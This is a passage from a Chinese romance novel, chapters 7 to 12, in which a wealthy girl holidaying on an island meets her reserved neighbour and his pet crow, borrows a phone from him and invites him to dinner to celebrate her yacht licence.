温辞被这莫名的声响刺激得头皮发麻。她循着声音发出的方向抬头。门口路灯散发着的柔光不仅将她手上的黑色气球照得清清楚楚,还让盘旋在她头顶上空的鸟类无处遁形。
大鸟通体黑羽。刚才她听到的动静,正是它的翅膀扇动空气的声音。
最初,温辞并没有一眼认出它是什么鸟,直到它有些聒噪的叫声传入她的耳中,她才反应过来那是一只体型硕大的乌鸦。
明明只是一只没有任何思想的飞禽而已。可温辞就是有一种莫名的感觉。它之所以冲她呱呱乱叫,是因为它发现了她的注视。
而且,她莫名感觉,这只乌鸦是冲着她来的。
不知是它真的能读懂人心,还是只是一个巧合,温辞的脑海中刚闪过这么一个念头,那只乌鸦扑扇着翅膀,尖叫着俯身
7. 咬一口荔枝
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慢慢地,司渊发现了啼鸦和寻常乌鸦不一样的地方。
首先,是它的寿命。
他专门上网查过,虽然和其他的鸟类相比,乌鸦的寿命相对较长。但它们的平均寿命,一般是10年到15年。
年幼时,司渊曾不止一次听到岛上的老人闲来无事聚在一起谈论他出生那天的事情。他的生日是七月十五,民间称为是鬼节的日子,本就不详。
据当地的老人说,在此之前,庚辰岛是没有乌鸦的。直到他出生那天,不知从何处飞来的一只乌鸦,一边嘎嘎叫着,一边盘旋在庚辰岛的上空,像是在寻找什么东西。
后来,庚辰岛上就多了只乌鸦。
因为种种原因,司渊比同龄人入学要晚。他今年十九岁。按照这个时间来算的话,啼鸦明显已经活过了普通乌鸦的平均年龄。
可啼鸦依旧活力满满,一如他记忆中的那样。
其次,是它的智商。
在日复一日、年复一年的相处过程中,司渊逐渐发现,啼鸦好像能听懂人言。
譬如,就现在。
他仰起头,冲啼鸦低喝一声安静。啼鸦兴奋的叫声就真的戛然而止,甚至连扑扇翅膀的声音都听不见了,爪子勾着树杈,安静站着,完全隐入夜色。
时值盛夏,老槐树枝繁叶茂,郁郁葱葱。司渊出来的急,没时间去开悬在屋檐下的夜灯。幸而月色皎洁,借着门口的路灯,勉强能够分辨出啼鸦站立的位置。
“乖,不要扰民。”许是才洗过澡的原因,连嗓音都沾染了些许水汽,听起来有几分慵懒和放松,和在外面与人交流时的清冷一点都不一样。
司渊扯下脖子上的毛巾,胡乱往头上擦了两下,走向门口。他探头望去,小巷空无一人,仿佛刚才听到的那声尖叫只是错觉。
但他知道不是。
小巷不深,只有四户人家。
自打资本注入,庚辰岛被开发成景区之后,岛民的生活也比之前要好了很多。岛上几乎大半的低矮宅院被推翻,重新建成了二层、三层小楼的别墅样式。
巷子里的四户人家,只有他家,还保持着低矮房檐的老宅。而他对面,建造的最豪华的一幢,正是他之前送给霍懈北的那座老宅。
当年,霍懈北本想连同司渊现在住的宅子一起推翻重建的,可司渊拒绝了。他始终认为,一个人的生活水平要和自己的能力相匹配。
当年的司渊,不过是一个连学费都需要旁人资助的穷学生而已,根本负担不起那么豪华的住宅。
所以,他拒绝了霍懈北的好意。
是以,直到现在,他依旧住在看起来有些破落的宅院里。
-
司渊扫了一圈空荡荡的巷子,关门之前,下意识瞥了一眼对面那幢别墅。
‘吱呀’一声,大门被关上。
本该转身回来的司渊,却像是被人点了穴道一样,呆滞站在门后,没有任何动作。半分钟之后,他终于回过神来,重新打开门。
看着对面窗户亮起昏黄的灯光,司渊低喃:“没有看错,不是错觉。”
此时此刻,司渊的脑海里只有一个念头:莫非是霍叔叔来度假了?这样想着,他清隽的脸上升起一抹喜色。
踏出门槛的一瞬,一滴水珠从额上顺着鼻梁垂落。司渊的脚步也戛然而止。
他终于想起来,自己还赤着上身。
这样兴冲冲跑过去,实在是不雅。
他快步返回卧室,打开衣柜,触到黑色短袖的手停顿一瞬,转而拿起一件白色的,套在了身上。
他衣柜里的衣服,只有黑白灰三种颜色。
其中,黑色占了三分之二,白色最少。
他不喜欢白色。
可霍懈北每次带他去商场买衣服,都喜欢给他选白色的。
久而久之,每次和霍懈北见面,司渊都会穿白色的衣服。他不想给霍懈北留下任何不好的印象,哪怕只是穿衣方面。
他的头发很短,典型的毛寸。用吹风机吹了不到半分钟,就干透了。
一切准备就绪,司渊却有些踌躇。他在小院中踱着步,咸湿的海风打在身上,兴奋的情绪散去,理智逐渐回归。
以往,无论任何时候,无论他在不在庚辰岛,但凡是霍懈北要过来,都会发短信通知他。可这一次,他没有收到任何短信。
好半晌,司渊从裤袋里拿出手机,点开霍懈北的聊天对话框,找准角度,拍了一张亮着灯光的别墅照片,又打了一行字,一起发送过去:【霍叔叔,我看见对面亮了灯,是您来度假了吗?】
对面回复很快。
【没有。】
【不是我,是我的女儿。】
【她第一次一个人出远门,我有点担心,麻烦你帮我照看着点。】
看着这几条回复,司渊的心情却像是坐了过山车一样,从期待、到失望、再到忐忑不安。
【好。】
司渊应下,心情却有些忐忑。
他不是没有见过那些富人家的孩子,大多都是颐指气使,傲气非常,向来喜欢用下巴看人。
他有点担心,她是不是也是那样。万一,她也像其他人那样,嫌恶他的出身怎么办?
霍懈北似是猜到了他的想法,又发来几条语音。司渊一一点开听了,不安的情绪总算是消散了些。
“小渊,不好意思啊。叔叔最近有点忙,没能腾出时间去看你不说,还要麻烦你帮我照看我的女儿。”
“说起来,我没能好好结合扫你们认识,是我的过失。不过你放心,她很乖巧的。”
“不过你们年龄相差不大,都是年轻人,应该会有很多共同话题。待会儿我把她的联系方式推给你,你们可以先聊聊看。”
“你是哥哥,帮我看着点她。如果她欺负你,你就打电话告诉我,我来收拾她。”
紧接着,司渊收到一张霍懈北推过来的电子名片。
他点开看了看:
头像是一颗荔枝,水彩画风。
昵称是‘咬一口荔枝’,地区是青城市。
思忖再三,他加了她的好友,并在输入框中备注:
8. 邻居
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返家的途中,司渊依旧有些心不在焉。但他还是绕去了岛的另一边,去口味最好的那家早餐店买了两份早餐。
刚转过巷口,司渊的手机响了。他脚步一怔,选择第一时间去查看。
可结果并非如他所愿。
发信人是他的一个委托人。
前几日,他在论坛上接了一份帮人设计网站的兼职。此次,委托人把建设网站的具体要求发了过来。
司渊已经成年,高中的学业也已经完成。他不准备在大学期间还继续接受霍懈北对他的资助。
所以,这份兼职,他很用心。每次委托人发来消息,他都会第一时间回复。
这次也不例外。
他垂眸回复委托人信息,半点没有注意到,一道倩影从别墅里走出来。
反倒是立于司渊肩膀上的啼鸦,最先认出了她。
“嘎---”
“嘎---”
啼鸦鸣叫着,振翅飞起,冲着温辞而去。
熟悉又有些渗人的动静,令人后脊梁骨又一次生寒。
温辞抬眸,看到昨晚抓破她气球的那只乌鸦又一次冲她飞了过来,她下意识后退两步,捂脸尖叫。
“啊。”
尽管她昨晚已经用手机查过,乌鸦并非是她印象里的恶鸟,反而是鸟类中顶顶聪明的、通人性、轻易不会的品类。可她还是害怕乌鸦会刮花她的脸。
顷刻间,啼鸦已经飞到了她面前。
预料之中的疼痛并没有到来,反而肩上一沉。可温辞还是吓了一跳,身形一颤。
与此同时,一道低沉又略微有些熟悉的声音传入了她的耳中。
“啼鸦,回来。”
随即,她又听到一阵急促的脚步声。
早在温辞发出尖叫声的刹那,司渊就发现了她。他来得及收起手机,却来不及阻止振翅飞远的啼鸦。他晚了一步,没抓住啼鸦的翅膀,只拽下一手乌鸦毛。
司渊看了一眼指间的黑色鸦羽,又抬眸看了一眼她惊恐的模样,耳边回响的,却是两声尖叫。霍懈北发来的那些短信,也浮现在他的脑海。
“她第一次一个人出远门,我有点担心,麻烦帮我照看着点。”
“你是哥哥,帮我看着点她。”
昨晚她已经被啼鸦吓到尖叫了,这是第二次。想到这里,司渊面上一白,步履匆匆,快步朝她走去。
“你没事吧?”司渊问她。
下一秒钟,温辞只感觉自己的肩头一轻,立于她肩膀的乌鸦被男人捉了去,至于背后,生怕她再看到。
“别怕,它很温顺,不会伤人。”司渊温润开口,语气少了丝清冷,多了一抹柔和。
霍懈北说过,他是哥哥。
这一刻,他是真的把她当成妹妹来对待的。
尽管,在此之前两人素未谋面。
尽管,她一直没有回复他的信息。
尽管,或许在她心里,他这样的举动,依旧是刻意讨好、阿谀奉承,甚至是不怀好意。
在男人温和的声线之中,温辞真的被安慰到了,连躁动不安的心跳都逐渐趋于平缓。
温辞慢慢松开了护着脸颊的双手,像是迫不及待,不等手完全松开,从指缝看向站在她对面的男人。
“怎么是你?”
看清他的长相后,温辞‘唰’一下,双手从脸上挪开。她朝他走近两步,眸子里多了一抹连她自己都没有察觉到的欣喜。
司渊看清她的模样,也惊讶非常。
他从来没有想过,霍叔叔口中的女儿,竟然是她。
尽管在他的梦中,霍懈北牵着的那个小女孩,额间也生着和她一样的胎记。但他只当是昨天与她偶遇的次数多了,并没有过多在意。
他看似平静,实则,背于身后攥着啼鸦脖子的那只手,无意识加重了力道。啼鸦喘不过气、叫不出声,只好拼了命扑扇着翅膀,拍打着他的腰窝。
后腰异样的触感,让司渊回神。他卸了力道,松开手,啼鸦振翅飞向槐枝。
“你住这儿?”司渊冲她身后的别墅抬了抬下巴。他没有亲眼看到她从这幢别墅里出来,在做最后的确认。
闻言,温辞的视线从那只黑黢黢的乌鸦身上收回来,重新落在司渊身上。
她笑意盈盈,说:“对啊。只是没想到,一出门就遇上你。你呢,你怎么在这儿?”
司渊指了指被别墅衬托的越发破旧的小院,神色坦然,道:“那儿是我家。”
温辞挑了挑眉毛:“那可真是太巧了,我们可以做邻居了。”
言辞之中,无一不是对两人相逢的喜悦。
对话之间,她已经挪到了司渊对面。距离就和昨天在沙滩上一样,脚尖抵着脚尖,看起来无比亲密。
昨天,两人初遇。
温辞见色起意去招惹他,故意和他离得很近。结果他落荒而逃。
而刚才,温辞走过来之前,也的确是存了捉弄的心思。
如果说,昨晚她还在为不知道他的名字而遗憾。如今,她得知了他就住在她对门后,茫然无措的心情忽然变得很安定。
顺便,生出了作弄之心。她想再看一遍他落荒而逃的样子。
可温辞没有想到,这一次,他没有躲。
就这样安静站着,垂眸看着她。
温辞仰着头,看着他漆黑的瞳仁,试图读懂他此刻内心真实的情绪。可他着实不是个情绪外露的人,她非但什么都没读出来,还在两人对视之中,最先败下阵来。
被他这样直勾勾看着,她忽然有点害羞。
温辞红着脸把目光从他脸上挪开,退后一步,视线落到她腰间的挎包上。
随即,她抬起头,正了正神色,问:“对了,你知道这岛上哪里能修手机吗?我的手机昨天不小心掉浴缸里,开不了机了。”
“我答应每天往家里发信息报平安的。可我的手机坏了,联系不上我的话,我爸妈会担心的。”
说话间,温辞已经拉开了包包的拉链,拿出手机在司渊面前晃了晃。
司渊垂眸,看着她手上的手机,唇角翕动,后又归于平静。难怪,他没有收到她的信息,原来是手机坏了。
“哎,你到底知不知道啊?”
9. 咬了她的手指
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他这房间,远不如从外面看起来那样宽敞。房间被一面铁艺网格的隔断一分为二。
因为是白天,窗帘和隔断帘都被拉开透气,房间的门也大敞着。
温辞坐在沙发上,打眼一扫,便将整个房间的布局看得一清二楚。
里间是住宿区,布置得很简洁,仅一张床,一组衣柜,窗边还摆了一张桌案,一把椅子。桌案上放了一个玻璃水杯、两本摞在一起的书、一台笔记本电脑。
外间,也就是她此时待的地方,虽然布置得同样简洁,但明显比里间多了一些生活的气息。
他把外间打造成了会客厅和书房的统一体。除却她身下三人位的沙发和身前的茶几,便只剩下一组书架,上面满满当当的,装满了书本。
温辞卸下挎在身上的包包,双臂撑着沙发,往前倾了倾身子,终于看清了书架上摆放的那些书。
除了高中三年的各种科目的课本和一些名著之外,其余的,都是一些和计算机相关、她一看就头疼的书籍。
隔壁的动静逐渐趋于平静,脚步声越来越近。温辞把视线从书架上收回,端坐身形,静等着他的到来。
没一会儿,少年挑帘而入,温辞言笑晏晏,侧目看向他。
司渊的脚步顿了顿。
他本想直接把东西递到她的手上的。可当两人对视,司渊忽然有点退却,他担心自己的举动会让她乱想。
思索间,他递过去的手臂一顿,随即转了方向,把东西放到了茶几上。见离她有点远,随即又抬手往她那边推了推,说:“拆开看看,看你想用哪一台。”
温辞的注意力从他指节分明的大手转移到摞在一起的手机盒子上,言语间无不充满着诧异。
“怎么有两台啊?”她问:“你家之前是卖手机的吗?”
司渊担心她不自在,并没有一直盯着她看。而是转身去了小院,拧开水龙头,洗了洗手。
听到她这么问,他无声笑了笑,一边打着肥皂,一边回答她的问题:“之前过生日的时候,长辈送的生日礼物。我的手机还没坏,就一直没有换。”
司渊擦干净手回来,绕过茶几,从书架旁边的缝隙里拉出一把可以折叠的黑色金属凳。
拉开,坐在了她对面。
抬眸才发现,她乖巧坐在沙发上,并没有去拆那两台手机,反而一直在盯着他看。
司渊不着痕迹打量她一眼,又很快收回视线,平静开口,说:“不是让你挑手机吗?这么看着我做什么?”
“不对劲。”她说。
司渊睫毛颤了颤,问:“哪里不对劲?”
“昨天的你和现在的你,好像不是一个人。”
温辞顿了顿,又继续说:“昨天的你呢,沉默、寡言,连名字都不愿告诉我不说,还巨人于千里之外,恨不得离我八丈远。可今天呢,你不仅话变得多了,主动邀请我来你家不说,而且还愿意借手机给我用。”
司渊抬眸,和她对视片刻,缓缓开口:“我是司渊。”
昨天给你发过消息的司渊。
后半句话,他当然没有说出口。他不知道她有没有在手机掉入水里之前看到他的短信,更不知道她对他是个怎样的态度。
他的视线,不曾从她的脸上挪开。听到他的名字后,她脸上并没有什么特别的情绪,司渊的心稍稍安定一些。
“司渊?是哪两个字啊?”温辞又问。
司渊沉吟:“司命的司,深渊的渊。”
“司-渊,原来是这两个字啊。”温辞点点头,唇齿微翕,小声诵了一遍他的名字后,又大方开口,介绍自己:“我叫温辞。温暖的温,辞别的辞。”
“你姓温?”司渊的眉心微微蹙起。
甚至有那么一瞬,他还怀疑自己认错了人。可对上她那双和霍叔叔一样的眼睛时,这念头又戛然而止。
恍惚中,他隐约回想起之前霍叔叔和他闲聊时的确说起,他的夫人好像的确姓温。可他没说过他的女儿随母姓。
温辞:“对啊,有什么问题吗?”
司渊冲她摇摇头,抬手去撕那两台手机盒子上的保护膜。此时的他无比庆幸,昨晚的短信她没有看到。他记得很清楚,他在那条短信里,称呼她为霍小姐。
没一会儿,两台崭新的手机被重新推到她面前。一黑一白,供她选择。
温辞:“这是别人送你的生日礼物,我用是不是不太好啊?”
她显然有些犹豫。她一开始还以为,他口中的备用机是他用剩下的、淘汰不用的二手机器。
司渊注意到她的视线最终停留在那台白色手机上。他微微倾身,把手机从盒子里拿出来,又往她面前递了递。
“没关系。电子产品时间长不用,也是会坏的。物尽其用,是它最好的归宿。”更何况,这是霍叔叔送他的生日礼物。给他的女儿用,再适合不过了。
司渊从盒子里拿出卡针,又朝她伸手,“把你的手机给我。”
温辞递过去,又说:“那我们一会儿加个微信,我把钱转给你。这部手机,就当是我向你买的。”
司渊没应,垂首摆弄着她的手机。
可温辞的目光实在是太过专注,看得他耳朵都有些红了。他避不开,也不可能当做没察觉,只能一遍遍在心里告诉自己要镇定。
司渊平静抬眸,问她:“吃早饭了吗?”
温辞摇头:“没有。”
司渊手上的动作顿了顿,把早餐提到了她面前,说:“刚好买的有点多了,你趁热吃。”
“那我不客气了。一会儿我把这台手机的钱和这顿早餐的钱一起转给你。”温辞是真的有点饿,她没有和司渊客气,撕开筷子的包装袋,夹了一个小笼包就往嘴巴里填。
“不用。”说完这话,司渊又垂下脑袋,摆弄那两台手机。
温辞却有点不好意思了。人家好心好意把手机借给她不说,她还反客为主吃了他买回来的早餐。
这终究是不太好。
犹豫再三,她又夹起一个小笼包,喊了他一声:“司渊。”
司渊抬头:“嗯?什么事?”
趁
10. 游艇教练
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温辞正准备再夹一个小笼包就结束自己的早餐,听到他这么说,干脆连最后一口也不吃了,接过手机,摁下开机键,嘴里嘟哝着:“太好了,我要先给我妈打个电话才行。”
手机的型号虽然不是当季新款,但也是崭新的、从来没有人用过的新机器。不仅启动费了些时间,连要设置的东西都有很多。
这期间,她热情邀请司渊用完了剩余的早餐。
并非是她真的不懂事,而是她看出他的拘束,尤其是两人对视的时候。
她想不明白,为什么他总是能在转眼之间就给她一种判若两人的感觉。
手机开机、设置各种东西花费了一些时间,直到司渊用完了早餐,她都还在忙。
尽管相比昨日在沙滩的初遇,今天的司渊话明显要多一些。
可温辞依旧觉得他话少。
尤其是两人一度相顾无言的时候,气氛逐渐变得有点奇怪。倒也不是尴尬,就是奇怪,像是有一张无形的蛛网,将四肢逐渐缚紧,勒得人喘不过气来。
温辞不喜欢那种安静的氛围,便主动寻找话题和他聊天。
“那只乌鸦,是你的吗?”她问。
司渊嗯了一声。不知是不是错觉,温辞隐约从他的眼睛里读出一丝愧疚。直到他温润的声音又一次传入她耳中,她才恍然觉知,那一闪而过的愧疚不是她的错觉。
“它叫啼鸦。抱歉,吓到你两次。”
“啊,没关系。它没有真的伤到我。”温辞冲他笑笑,语气带了几分连自己都没有察觉到的羞赧:“昨晚,你听到我的尖叫了?”
不然,他怎么知道她被这只乌鸦吓了两次。
温辞看着司渊,希望他说‘没有’。可他偏偏在她的注视下,点了点头。
她脸上的温度又高了些。
恰时,手机的提示音响起。她连忙开口:“我先打个电话。”
“嗯。”司渊起身,把房间让出来,抬步走向院外。后知后觉,温辞反应过来他的举动有多暖心。
听筒里的机械铃声响了两下,对面便接通了电话。
出门在外,温辞不想家里人过于担心,只说昨晚不小心把手机掉进了浴缸,所以才没能和家里报平安。说完这些,她又冲手机那头的人撒了会娇。
司渊待在院中,能够隐约听到温辞的声音。对于温辞而言,完全是在正常不过的对话,司渊听着,胸腔却泛起阵阵酸意。
这样的家庭氛围,他从来都没有感受过。偶尔的关心,也是他从霍叔叔身上得到的。只是不知道,如果她知道了,会不会像梦中那样,厌他抢她的父亲。
这也是他为什么不敢轻易把一切都告诉她的原因。
他怕温辞一旦知道了一切,会和其他人一样,逐渐远离、进而厌弃他。
温辞挂断电话,走出房间,本想唤他一声,可当小院的画面映入眼帘,司渊二字在唇边回旋片刻,终又归于寂静。
槐树下放了一把竹制的摇椅。
此时,司渊正坐在上面。
他垂着脑袋,下巴抵着短袖的圆领。脊背也因为他的动作微微弯曲,柔软的布料紧贴在他的肌肤上,温辞立在门口,甚至能清晰看到他脊背肌理的轮廓。
不似她认识的其他少年那般清瘦,而是有点漂亮的脂包肌,干净、有力、又不油腻。
日光耀眼,槐枝茂密。
大片的阴影落在他身上,他又垂着脑袋,温辞看不见他的脸,不知他的神色如何,但温辞就是有一种感觉,他现在不开心。
他看起来有点失落,甚至是颓废。这样的情绪,本不应该出现在他这个年龄的人身上。可偏偏,毫无违和感。
温辞看着,竟不忍心出声打扰。
她攥着门框的手却下意识加重了几分力道,指甲和门框摩擦,陡然发出一阵刺耳的声响。
闻声,司渊终于有了动静。
他抬起略微有些僵硬的脖颈,瞥了一眼声音发出的位置。
余光瞥到她的身影,他的身影怔了怔,眸中的阴郁、失落一一隐去,转而冲她扬起一抹温润的浅笑。
尽管那笑很是僵硬,但温辞依旧感受到了他想要发出的些许善意。
“电话打完了?”
司渊站起身,身下的竹制摇椅发出吱呀声响。没几步,便走到了她面前。温辞后退一步,微微侧身,给他让出一条路来。
“打完了,我正准备去喊你,却被你先发现了我。”她说。
司渊依旧坐回了沙发对面的折叠凳上,犹豫一瞬,温辞也重新坐回沙发。
她纤长且白皙的手指在屏幕上点了几下,随后把手机递到了司渊面前,说:“司渊,我们加一个微信吧,你扫我。”
司渊闻言,看了一眼二维码,又掀眸看了一眼她。他一个字没说,只是安静看了她一眼。温辞的心跳却忽然有点乱了。
她连忙补充了句:“我...我只是想把手机和早饭的钱转给——”
话没说完,她听到他说了个好字。
司渊扫了那个二维码,温辞第一时间通过了他的好友请求。
她点开了司渊的名片,粗略看了一眼。
他的头像是啼鸦在傍晚振翅飞翔于海面的照片。昵称也很简洁,司渊二字的缩写——SY。她又点开了他的朋友圈,空无一物。
他竟一条朋友圈也没有发过。
温辞内心诧异,却没有在面上表露出来。她一一退出,甚至连备注也没打,给他转账6666后,径自摁灭了手机。
随即,她站起身,冲司渊莞尔,说:“谢谢你愿意借手机给我。我把钱转你微信了,你记得收。我还有事,得先走了。”
司渊也跟着站起来。他张了张嘴,却一个字也没说出口,只安静目送她离开。
直到再也看不到她的身影,司渊才把视线收回。
他重重吐了一口气,从里间拿了电脑,坐到了沙发上、温辞之前坐的位置,开始忙活起他接的那个单子。
-
温辞是真的有事。
刚才她和家里打电话报平安的时候,温予告诉她,小姑霍央送了她一份毕业礼物,并托她大伯霍未送来了庚辰岛。
她挂了电话后,又给霍未发短信确认了时间。
前几日家庭聚会的那顿烧烤局上,霍未就说过,他这几日要到庚辰岛的直属市——定港市开会。当时,大伯还问过她要不要一起过来。
11. 拜托拜托
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任薇前脚走,温辞不等从渡口返回,在路上就给霍未发了条信息,感谢他这些时日的慷慨支持。霍未很快给她回信:无需客气,玩得开心。
温辞觉得,学到一向新技能,怎么也要庆祝一下才好。
于是,她订了些外卖。
渡口离她的别墅有些距离,不等她到家,外卖小哥就把电话打了过来。
餐已送到,她却还没回去。
不得已,她只好给司渊发了条短信,让他帮忙签收。
司渊很爽快,她一提,他便答应了。
经过这么一段时间的相处,温辞大致了解了司渊的生活习性。
他习惯早起,每天都会去晨跑。而且,他大多时候,都会选择自己做饭。
温辞不止一次遇见他晨跑回来后,手上提着从早市买回来的时蔬和当地的海产品。
她和任薇学习的这段时间,忙的焦头烂额,和司渊的交流并不多。偶尔,她去找任薇汇合的时候,他刚刚结束晨跑。两人大多在巷口相遇,互相问好后,又各奔东西。
傍晚,她踩着夕阳的余晖、拖着疲惫的身体回来时,总是能够看到他坐在摇椅上。
有时,捧着一本于她而言晦涩难懂的编程书在看;有时,抱着笔记本电脑敲敲打打。
大多时候,他都很专注,根本不知道她把目光落在他得身上。
偶尔,听到她的脚步,他也会抬眸看过来。
四目相对,司渊往往会和她点头示意。
随后,又缓缓垂下目光,继续忙活起来。
温辞这个时候,是不愿和他有过多的交流的。因为这是她一天之中最狼狈的时刻。
可每次当她洗完澡、换好衣服,想要和他来聊聊天的时候,院中又没了他的身影。完全敞开的外门,也紧紧关闭。
其实,她积攒了好多问题想要问,可终究不好大晚上去敲他的门,便只能作罢。
从司渊主动把手机借给她使用这件事就可以看出,他并非像外表看起来那样拒人于千里之外。冷漠只是他的保护色,实际上他的心肠很好,连她那日转给他的手机钱都没有收。
外冷内热,是温辞对司渊的评价。如果说,非要说出他的一个缺点,那也不过是不善言辞罢了。所以,温辞知道,只要他在家,就一定不会拒绝她。
司渊暂时帮她把外卖取回了自己家,并且拍了张照片发给她:【拿到了。】
温辞也回他一句:
【多谢,我还在路上,回去了找你拿。】
温辞等了一会儿,司渊却没有再发来信息。她的手指顺着屏幕往上拨动,她找司渊帮忙的上一条信息,还是在半个月之前。
她给司渊转账的二十四小时后,系统自动退款。她看到了,问他:【手机的钱你怎么没收呀?】
可他一直没有回复。
这些天,温辞忙着考证,忙着应付任薇,把这件事情忘得干干净净。
温辞关上手机,加快了脚步。
十三分钟后,温辞敲响了那扇虚掩着的外门。不知是不是因为她敲门的力道太小,司渊没有听到,里面一直没有传来任何声音。
“司渊?我进来了?”她只好不请自入。
相比第一次来他家,这一次她要自在很多。温辞穿过小院,径自来到了他的房间门口。
房门敞开着,温辞走近,首先看到的,是茶几上放着的她的外卖。四四方方的一个保温袋,足足有半人之高。
温辞眸子里闪过一抹诧异。她知道自己点的多了点,却也没想过有这么多。许是拍摄的角度问题,司渊拍给她的照片,看着可比实物要小巧多了。
第二眼,她看到了坐在沙发上忙碌的司渊。
不知道是不是因为她的外卖几乎占据了整张茶几,他只能把笔记本电脑放在双膝。他高大的身躯微微蜷缩着,就像是被外卖给霸凌了一样,看起来有点可怜。
除此之外,他还戴了一副头戴式的耳机。
或许是音量开得有点大,温辞站在门口,隐约能够听到耳机里传出的带有伦敦腔的英语。他听着耳机里的内容,双手在键盘上敲敲打打。
“难怪——”难怪他没听见敲门声,难怪他没有第一时间请她进来。
温辞嘟哝了声,朝他走近。她伸出手掌,正准备在他面前挥一挥,可他却先她一步抬头。见来人是她,司渊摘下了耳机,合上了电脑。
温辞讪讪收回手,“我打扰到你了吗?”
“没有。”司渊站起身,视线从她脸上转移到茶几上那箱包装完好的外卖上。
这么大一箱,她应该拿不动。不然,他还是帮她送回去算了。
司渊暗暗想。
不等他开口,温辞却率先提出了她的要求,“司渊,你能帮我把它提回家吗?东西太多了,我可能拿不动。”
司渊乜她一眼,她乖巧站在那儿,一脸犯难,仿佛真的在为提不动这包外卖发愁。对上他的视线,她双手合十,在胸前晃了晃,眉眼微蹙,央求道:“拜托拜托。”
“好。”司渊别看眼,刻意忽略她此时的神态和语气,尽量把自己的注意力都放在外卖上。可他的脑子像是出了什么问题一样,他想要忽视什么,脑海就偏偏呈现什么。
他弯腰提起外卖,耳朵却在不知不觉中变成了粉色。
温辞瞬间喜笑颜开,跟在他身后,继续碎碎念:“司渊,你太好了,谢谢你。你前面走,我帮你锁门。”
闻言,司渊脚步顿了顿,“不用锁,掩上就行。”反正他很快回来。
温辞摇摇头,说:“不行不行,万一进贼了呢,还是锁上的好。钥匙在哪啊?我去帮你拿。”
“钥匙在门后挂着,取下来就好。”司渊见她坚持,便告诉了她钥匙在哪儿。
出了他家,温辞紧了紧脚步,快步走到别墅门口,动作利落打开门,邀他进来。
可司渊的双腿却像是被无形的绳索给缚住一样。
温辞走了两步,没听到身后的脚步声。她一回头,便看见司渊站在门口,一动不动地打量着眼前的宅子。
她冲他招招手,说:“司渊,进来呀。”
12. 霸道
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“你...你是有客人吗?”
司渊试图用对话来掩盖自己突如其来的陌生情愫。一开口,便问出了他疑惑了好一会儿的问题。
她点的这些菜,足足够三五个成年人吃。
温辞笑了笑,说:“对啊,有客人。”
司渊垂眸,嗯了一声,“那我先走了。”
话落,他朝她伸出手,视线落在她腰侧的口袋处。
他的钥匙还在她那儿。
刚才她朝他跑过来的时候,他听到声音了。
温辞假装读不懂他的意思,趁他不备,反而把自己的手递到了他的手上,言笑晏晏,“司渊,你是想牵我的手吗?”
没有任何预料的,两人的指尖触到了一起。
一阵酥麻感从他的指尖,直通到心脏。司渊的手臂猛地一颤,刚想撤回去,却被温辞反手攥住指尖。
“躲什么?还是说,你不是想牵我的手?”温辞的神情变得有些低落,司渊忽然有些于心不忍。
转念,他脑海中闪过两人在沙滩初遇时,她调戏他的画面。
现在,说不定也是她的小把戏。
司渊抿了抿唇,终是没有把手从她的手心撤回来。而是朝她伸出另一只手,说:“你还有客人。我就不打扰了,钥匙给我,我先回去了。”
其实他猜得没错。
温辞的确又一次生出了逗弄他的心思。
之所以会忽然生出这样的心思,是因为她看得清清楚楚:她打开房门冲他跑过来的同时,他眼底来不及掩去的一抹惊艳。
更巧合的是,他长得也很符合她的审美。
不然,她也不会在两人初次见面时就故意用言语逗弄他。
关于恋爱这件事情,她的父母一直很开明。在她们家是没有‘早恋’这个词的。
早在她高一的时候,妈妈就告诉过她,少年时期的懵懂情意很是难得。如果有喜欢的人,可以试着交往看看。
更何况,她现在已经是一名准大学生了,就算是要谈恋爱也不需要向任何人报备了。
也正是因为抱着这样的心思,她朝司渊伸出了手。
同时,她也是在试探。
如果司渊不喜她的接触,那她就换一种委婉一点的进攻方式。温辞甚至已经做好了被他冷脸相待的心理准备,谁知他并没有甩开她,反而又朝她伸出了另一只手。
温辞没有准备,反应慢了半拍。
怔忪间,她松开司渊的手,双手背于身后,微微侧身,把其中一侧的口袋送到他面前,仰头看向他:“钥匙啊,在我口袋里,你自己来拿。”
司渊指尖蜷了一下,他垂眸扫了一眼温辞。她丝毫没有掩饰自己眉眼间的狡黠,活像一只小狐狸。
他比温辞高了将近一个头。
温辞一定不知道,他稍一垂眸,便能将她口袋里装的什么看得一清二楚。那里面,的确有东西,却并非是他的钥匙。
温辞见他迟迟没有动作,上前一步,离他更近了些,催促道:“快点啊,你还要不要拿钥匙了?”
她才洗过澡,甫一靠近,某种他说不上名字的甜香气味便充盈在他的鼻间。两个人此时的距离,已经超出正常的社交距离。甚至,有点过于亲密了。
司渊脑海里响起一道声音:要躲开,要躲开。
可他的举动,却和那道声音背道而驰。他微微倾身,手掌探入她腰间的口袋,将里面的东西全部掏了出来。
司渊依次把东西举到她面前,一边展示,一边问:“一部手机,一本证件。我的钥匙呢?”
“哎呀,我记错了,钥匙我好像放在这边的口袋。”
温辞拍了拍另一边的口袋,里面发出一阵叮当乱响的声音。但她却并没有拿出来给他,而是退后几步,拉开一条凳子,说:“请坐,我的贵客。”
“你刚才说的客人,是我?”司渊眉心颤了颤。
“对啊,可我还不够了解你,不知道你喜欢吃什么,就什么东西都点了一些。”
温辞的视线落到餐桌上,又问:“这里面,有你不能吃的东西吗?”
“没有,我不挑食。”司渊始终看着她,身形未动,只是下意识回答她的问题。
正如她所言,此时的温辞,只是痴迷于他的长相,对他的了解还不多,并不知道他的口腹之欲其实并不重。只要能填饱肚子,他对吃的并不挑剔。
“那可太好了,我还害怕踩到你的雷区呢。”
温辞抬眸,见司渊还站在那儿,冲他招手:“司渊,过来坐啊。就当是庆祝我排除万难,拿到了游艇驾驶证。”
司渊回神,视线落回到自己手上。她口中那本游艇驾驶证上,如今正被他拿在手里,连同她的手机一起。
“为什么是我?”他一边走近,一边开口问。
温辞:“因为在这岛上,我只认识你呀。”
他没有发难,而是朝她走过来。这让温辞彻底松了一口气。她绕到餐桌另一侧,拉开了他对面的凳子,自顾坐下。
也是这时,司渊恍然明白过来,从她主动提出要帮他锁门开始,她就已经计划好了这一切。
司渊见她丝毫没有要把钥匙还给他的样子,只好坐下来,把手机和证件递到她面前,说:“恭喜你,掌握了一向新的技能。”
温辞接过,终于想起来自己是这幢别墅的主人。她站起身,走到厨房,拉开冰箱,又转过头问他:“喝点什么吗?白水、气泡水、可乐,还是咖啡?”
司渊:“都可以。”
温辞皱了皱眉。她有点不喜欢他这个习惯,仿佛没有自己的喜好,问什么都是可以、没关系。
她给自己拿了一瓶荔枝味的气泡水,给司渊选择时稍微犯了一下难。
